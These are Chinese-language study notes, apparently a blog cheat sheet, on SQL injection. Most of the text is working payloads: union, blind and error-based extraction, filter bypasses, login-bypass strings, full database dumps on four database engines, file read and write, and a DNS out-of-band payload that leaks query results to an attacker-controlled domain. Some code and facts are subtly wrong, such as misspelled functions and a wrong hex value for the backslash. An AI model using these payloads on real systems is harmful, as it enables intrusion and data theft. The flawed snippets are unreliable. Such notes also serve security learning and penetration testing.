【笔记】SQL注入攻击

前言

SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。(维基百科

SQL注入分类

根据数据类型分类

  • 数字型SQL注入
    • 在注入时不需要考虑引号的闭合问题
  • 字符型SQL注入
    • 在注入时需要考虑引号的闭合问题

根据注入手法的分类

  • UNION query SQL injection 联合查询(针对查操作)
  • Error-based SQL injection 报错注入(针对查操作)
  • Boolean-based blind SQL injection 布尔盲注(针对查操作)
  • Time-based blind SQL injection 延时注入(针对查操作)
  • Stacked queries SQL injection 堆叠查询(针对增删改操作)

根据注入原理的分类(GPC)

  • GET数据
  • POST数据
  • Cookie数据

漏洞原理

  • 服务器允许接受恶意SQL代码作为参数,且恶意代码可以被当作SQL执行

常见业务

  • 动态渲染文章
  • 登录框

漏洞利用

注入点位置

  • 代码将哪部分作为SQL的参数,哪部分就是注入点位置

  • *作为注入点位置标识

  • 如果代码中调用了Cookie作为SQL变量,可以进行Cookie注入

  • 如果代码中调用了User-Agent作为SQL变量,可以进行User-Agent注入

  • 如果代码中调用了Referer作为SQL变量,可以进行Referer注入

参数注入

  • GET请求通过param参数或path参数注入
request
1
GET http://127.0.0.1:80/api/item?id=99*
  • POST请求通过body参数注入
request
1
2
3
4
POST http://127.0.0.1:80/api/item
Content-Type: application/x-www-form-urlencoded

id=99*

请求头注入

XFF注入
  • 部分后端程序通过请求头中的X-Forward-For参数来判定失败的登录次数,如果这个次数存储在了数据库中,则可以使用X-Forward-For作为注入点
request
1
2
GET http://127.0.0.1:80/api/item?id=99
X-Forwarded-For: 127.0.0.1*

注入点测试

  • 通过传递不同的参数,判断页面加载,测试出可以使用哪种手法注入
  • 只要可以使用任意一种注入手法,就可以断定存在SQL注入漏洞

注入点存在测试

  • 多次传递不同的数值判断页面是否有变化,如果id=任何一个数,页面能被动态渲染不同的数据,说明参数变量传递成功,注入点存在
1
2
?id=1
?id=2
  • 测试结论
    • 如果页面有变化,可以使用联合查询注入
    • 如果页面没有变化,继续判断布尔测试结果

布尔测试

  • 通过构造结果为假的布尔值,如果数据正常返回,说明不可以使用布尔注入
1
?id=1 AND 1=2

延时测试

  • 通过延迟函数判断响应是否延迟且数据正常返回,则说明可以使用延迟注入

<time>:延迟时间,单位秒

1
?id=1 AND SLEEP(<time>)
  • 通过基准测试函数,反复计算MD5值,如果响应延迟且数据正常返回,说明可以使用延迟注入
1
?id=1 AND BENCHMARK(10000000, MD5('test'))

关键词被替换为空

  • 通过计算关键词长度,构造长度不为0的布尔表达式,如果数据正常返回,说明关键词没有被替换为空
1
?id=1 and LENGTH('union')!=0

数据类型测试

  • 根据报错信息,判断1在数据库中存储时的数据类型
    • 当出现形如'''的报错信息时,判断该数字是以数值型数据存储在数据库中
    • 当出现形如'1''的报错信息时,判断该数字是以字符型数据存储在数据库中
1
?id=1'

打断测试

  • 操作:如果成对的括号被中断,同时使用注释打断后面的语句,就可以实现sql语句的控制
  • 原理:php中定义sql语句时,会使用括号进行包裹从而定义sql语句为字符串

闭合符号,用于闭合前缀代码

'")]}\/,.

注释代码,用于打断后续代码

#(需要进行url编码):只有MySQL会识别#作为注释,#作为注释时需要url编码否则会被当做锚点
--+-- -:所有SQL都会识别--作为注释,--作为注释时必须后接一个空格和注释内容,注释代码才会生效,否则会被当做减号

1
?id=1' -- -

绕过

如果代码中出现了转义字符

  • 如果数据库使用了GBK/GB2312等宽字节编码时,可以使用\'代替'绕过'检测,\的16进制编码为0xdf

PHP中如果开启了magic_quotes_gpc则会触发\转译
PHP中如果使用了addslashes()函数则会触发\转译

1
?id=1%df' -- -

如果代码中出现了Base64编码

  • 将参数编码为Base64编码后再发送请求
1
?id=MQ==

如果代码中将关键词替换为空

  • 双写绕过
1
?id=1 UNIOUNIONN SELECT 1
  • OR改为使用||
1
?id=1 || id=2
  • AND改为使用&&
1
?id=1 && id<2

如果代码中将空格替换为空

  • 改为使用行注释作为分隔符
1
?id=1/**/--/**/-
  • 改为使用()作为分隔符
1
?id=1()--()-
  • 改为使用其他空白字符作为分隔符
空白字符 URL编码值
空字符 %00
空格 %20
水平制表符 %09
换行符 %0a
垂直制表符 %0b
换页符 %0c
回车符 %0d
  • OR改为使用||-- -改为使用--+#
1
?id=1||id=2--+
  • AND改为使用&&-- -改为使用--+#
1
?id=1&&id<2--+

MySQL渗透测试

联合查询注入

  • 原理:MySQL的union语句,实际上是用来去重取交集的,特点是可以指定一个查询语句与前面的查询语句进行组合,得到结果,但要求是前后两组sql语句得到的列数相同

  • 可以通过union后面指定的查询语句,实现覆盖前面的查询语句,得到自己想要的字段的内容,展示在页面上

  • 必要条件:两张虚拟的表具有相同的列数,虚拟表对应的列的数据类型相同

    • 数值型可以自动转换成字符串类型
    • 不满足必要条件时,可以使用子查询语句
  • 基本语法

<select>:查询语句

1
<select_1> UNION <select_2>

注入点个数测试

  • 原理:MySQL的order by语句,实际上是用来排序数据的,如果order by语句后有数字,表示根据第几个字段排序,当没有那个指定数量的字段时,会报错
    • 例如:order by 2,表示根据第2个字段进行数据的排序,如果没有第2个字段,则报错
  • 所以可以通过order by语句,得到字段数量临界值
    • 例如:从order by 1开始测试,当执行到order by 3时,页面报错,说明这个数据表只有2个字段,2就是临界值
1
2
?id=1 ORDER BY 1
?id=1 ORDER BY 2
  • 也可以直接使用union语句测试注入点个数
    • select 1,2,...不再报错时,表示注入点个数测试完成
  • id=1改为其他不存在的id,这样才能展示union后面的select语句的内容
1
?id=-1 UNION SELECT 1,2
  • 也可以使用布尔值为false的语句(例如1=2)强制让union语句前面的select语句报错,从而展示union语句后面的select语句的内容
1
?id=1 AND 1=2 UNION SELECT 1,2

回显点位置测试

  • 在找到注入点个数后,可以开始回显点位置测试
  • 通过查询数字1、数字2(根据注入点个数指定数字数量),在页面查看回显点的位置,如果有回显,则可以替换其他SQL语句用于查看查询结果
  • 原理:当union前面的查询语句值为假,则后面的查询语句会被执行

1,2:直接展示在页面上的内容(根据注入点个数指定数字数量)

1
?id=-1 UNION SELECT 1,2

盲注

基于延时的盲注

  • 盲猜敏感信息,利用if语句判断,将select语句作为if语句的结果,通过判断页面是否延时加载,确定猜测是否正确
猜测数据库名长度
  • 如果猜对,延时5秒
1
?id=1 AND IF(LENGTH(DATABASE())=1, SLEEP(5), 1)
  • 如果猜错,延时5秒
1
?id=1 AND IF(LENGTH(DATABASE())=1, 1, SLEEP(5))

基于布尔的盲注

  • 通过构建布尔值的判断,盲猜敏感信息
  • 如果猜对则页面显示正常,如果猜错则页面显示不正常
猜测数据库名长度
1
?id=1 AND LENGTH(DATABASE())=1
猜测数据库名每个字符的ascii码
1
2
3
4
5
6
7
# 第一个字符
?id=1 and ASCII(SUBSTR(DATABASE(), 1, 1))>100

# 第二个字符
?id=1 and ASCII(SUBSTR(DATABASE(), 2, 1))>100

# ...

基于报错的盲注

  • 在报错的回显中,插入敏感信息
  • 如果php中存在die(mysql_error())相关代码,则说明存在基于报错的盲注
重复键冲突报错
  • 利用MySQL编号为#8652的bug,复现重复键冲突报错
  • 这个漏洞存在一定几率

<SELECT>:查询语句

1
?id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((<select>), FLOOR(RAND() * 2)) AS x FROM information_schema.TABLES GROUP BY x) a)
1
?id=1 UNION SELECT (CONCAT(LEFT(RAND(), 3), '^', (<select>), '^') AS a, COUNT(*),3 FROM information_schema.TABLES GROUP BY a)
不同的SQL语句构造方式

<select>:查询语句
<select_field>:指定想要查询的字段

1
select CONCAT(LEFT(RAND(), 3), '^', (<select>), '^') AS x, COUNT(*) from information_schema.TABLES GROUP BY x;
  • 如果查询的表被禁用了,可以自己构建一个表
1
select CONCAT('^', (<select_field>), '^', FLOOR(RAND()*2)) AS x, COUNT(*) FROM (SELECT 1 UNION SELECT NULL UNION SELECT !1) AS a GROUP BY x;
  • 如果rand()或count()被禁用了
1
SELECT MIN(@a:1) FROM information_schema GROUP BY CONCAT('^', <select_field>, '^', @a:=(@a+1)%2);
  • 不依赖额外的函数和具体的表
1
SELECT MIN(@a:=1) FROM(SELECT 1 UNION SELECT NULL UNION SELECT !1) AS a GROUP BY CONCAT('^', <select_field>, '^', @a:=(@a+1)%2);
XPath报错
  • extractvalue()函数用于获取指定XML文件中符合指定XPath的结果

<select>:查询语句
0x7e:占位符~的十六进制,用来分隔需要显示的查询结果
0x5e:占位符^的十六进制,用来分隔需要显示的查询结果

1
?id=1 and EXTRACTVALUE(1, CONCAT('^', (<select>), '^'))
  • updatexml()函数用于修改指定XML文件中符合指定XPath的结果
1
?id=1 and UPDATEXML(1, CONCAT('^', (<select>), '^'), 1)

登录框注入

万能密码

  • 输入任意密码,并构造一个结果为true布尔值
1
1' OR 1=1#
1
1' OR '1'='1
1
1' || 1#
1
1' || '1
1
'='
1
'-'

信息收集

获取数据库版本

  • 查看版本是否大于5.x
1
?id=-1 UNION SELECT VERSION()

获取当前用户名

  • 查看用户是否是root,如果是root可以进行文件读写
1
?id=-1 UNION SELECT USER()

获取操作系统

  • 通过操作系统判断是否区分大小写
  • 通过操作系统判断文件路径的斜线
1
?id=-1 UNION SELECT @@version_compile_os

拖库

获取数据库名

  • 获取当前数据库名
1
?id=-1 UNION SELECT DATABASE()
  • 获取所有数据库名
1
2
?id=-1 UNION SELECT
(SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA)
  • 可以在GROUP_CONCAT()函数中使用的分隔符

  • 直接使用字符

1
SELECT GROUP_COUNCAT(1, '~');
  • 使用ASCII字符的16进制数
    • 如果代码中有数据库名、数据表名、字段名过滤,可以使用这种方法绕过
1
SELECT GROUP_COUNCAT(1, 0x7e);
1
SELECT GROUP_COUNCAT(1, CONCAT('0x', HEX('~')));
  • 使用字符的URL编码,这种方式用于在URL传参时使用
1
SELECT GROUP_COUNCAT(1, '%7e');

获取数据表名

  • 获取指定数据库的所有数据表名
1
2
?id=-1 UNION SELECT
(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='<database_name>')

获取字段名

  • 获取指定数据库、指定数据表的所有字段名
1
2
?id=-1 UNION SELECT
(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE table_schema='<database_name>' AND table_name='<table_name>')

获取数据

  • 获取当前数据库、指定数据表、指定字段的数据
1
2
?id=-1 UNION SELECT
(SELECT GROUP_CONCAT(<field_name>) FROM <table_name>)

文件读写

判断当前用户是否有文件读写权限

1
?id=-1 UNION SELECT File_priv FROM mysql.user WHERE user='root' AND host='localhost';

文件读取

<file>:想要读取的文件的路径,Windows上使用\\作为路径分隔符,Linux上使用/作为路径分隔符

1
?id=-1 UNION SELECT LOAD_FILE('<file>')

文件写入

  • 文件写入只能使用堆叠注入

<string>:通过查询语句获取的字符串
<file>:想要写入的文件路径

1
?id=-1; SELECT '<string>' INTO OUTFILE '<file>'

堆叠注入

  • 多句SQL压缩为一句进行注入
  • 支持堆叠注入的数据库必须具有结束分割符,如:MySQLMSSQLPostgreSQL
1
?id=-1; SHOW DATABASES()

二次注入

  • 先通过新增接口和修改接口将想要注入的SQL语句写入数据库,再通过查询接口执行SQL语句

DNS带外(DNS OOB, DNS Out-of-Band)

  • 利用MySQL的文件加载函数,向自己的DNS服务器发送请求,从而泄露数据
  1. 创建一个监听53端口的服务,且允许子域名传递任意值都能被正确访问(*.example.com
  2. 利用SQL注入访问自己部署得服务
1
?id=-1 AND (SELECT LOAD_FILE(CONCAT("//", (<select>), ".example.com")))
  1. 查看请求者请求的域名,其中子域名携带的内容就是泄露的数据

PostgreSQL渗透测试

拖库

获取数据库名

  • 获取当前数据库名
1
2
?id=-1 UNION SELECT
(SELECT current_database())
  • 获取所有数据库名
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(column_name, ',') FROM pg_database)

获取字段名

  • 获取当前数据库、public模式下的所有字段名
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(column_name, ',') FROM information_schema.columns WHERE table_schema = 'public' AND table_name='<table_name>')
  • 简写
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(column_name, ',') FROM information_schema.columns WHERE table_name='<table_name>')

获取数据

  • 获取当前数据库、指定数据表、指定字段的数据
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(<field_name>, ',') FROM <table_name>)

SQLServer渗透测试

拖库

获取数据库名

  • 获取当前数据库名
1
2
?id=-1 UNION SELECT
(SELECT DB_NAME())
  • 获取所有数据库名
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(name, ',') FROM master..sysdatabases)

获取数据表名

  • 获取指定数据库的所有表名
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(name, ',') FROM <database_name>..sysobjects WHERE xtype='U')

获取字段名

  • 获取所有数据库、指定数据表的所有字段名
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(name, ',') FROM syscolumns WHERE id=OBJECT_ID('<table_name>'))
  • 获取指定数据库、指定数据表的所有字段名
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(name, ',') FROM syscolumns WHERE id=OBJECT_ID('<database_name>.dbo.<table_name>'))

获取数据

  • 获取当前数据库、指定数据表、指定字段的数据
1
2
?id=-1 UNION SELECT
(SELECT STRING_AGG(<field_name>, ',') FROM <table_name>)

Oracle渗透测试

拖库

获取数据库名

  • 获取当前用户名
1
2
?id=-1 UNION SELECT
(SELECT instance_name FROM v$instance)
  • 获取所有用户名
1
2
?id=-1 UNION SELECT
(SELECT LISTAGG(username, ',') WITHIN GROUP (ORDER BY username) FROM dba_users)

获取数据表名

  • 获取当前用户的所有表名
1
2
?id=-1 UNION SELECT
(SELECT LISTAGG(table_name, ',') WITHIN GROUP (ORDER BY table_name) FROM user_tables)

查询字段名

  • 获取当前用户、指定数据表的所有字段名
1
2
?id=-1 UNION SELECT
(SELECT LISTAGG(column_name, ',') WITHIN GROUP (ORDER BY column_name) FROM user_tab_columns WHERE table_name='<table_name>')

获取数据

  • 获取当前用户、指定数据表、指定字段的所有数据
1
2
?id=-1 UNION SELECT
(SELECT LISTAGG(<filed_name>, ',') WITHIN GROUP (ORDER BY <filed_name>) FROM <table_name>)

完成

参考文献

哔哩哔哩——腾讯掌控安全学院
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——掌控安全学院
哔哩哔哩——逆风微笑的代码狗
哔哩哔哩——xiaodisec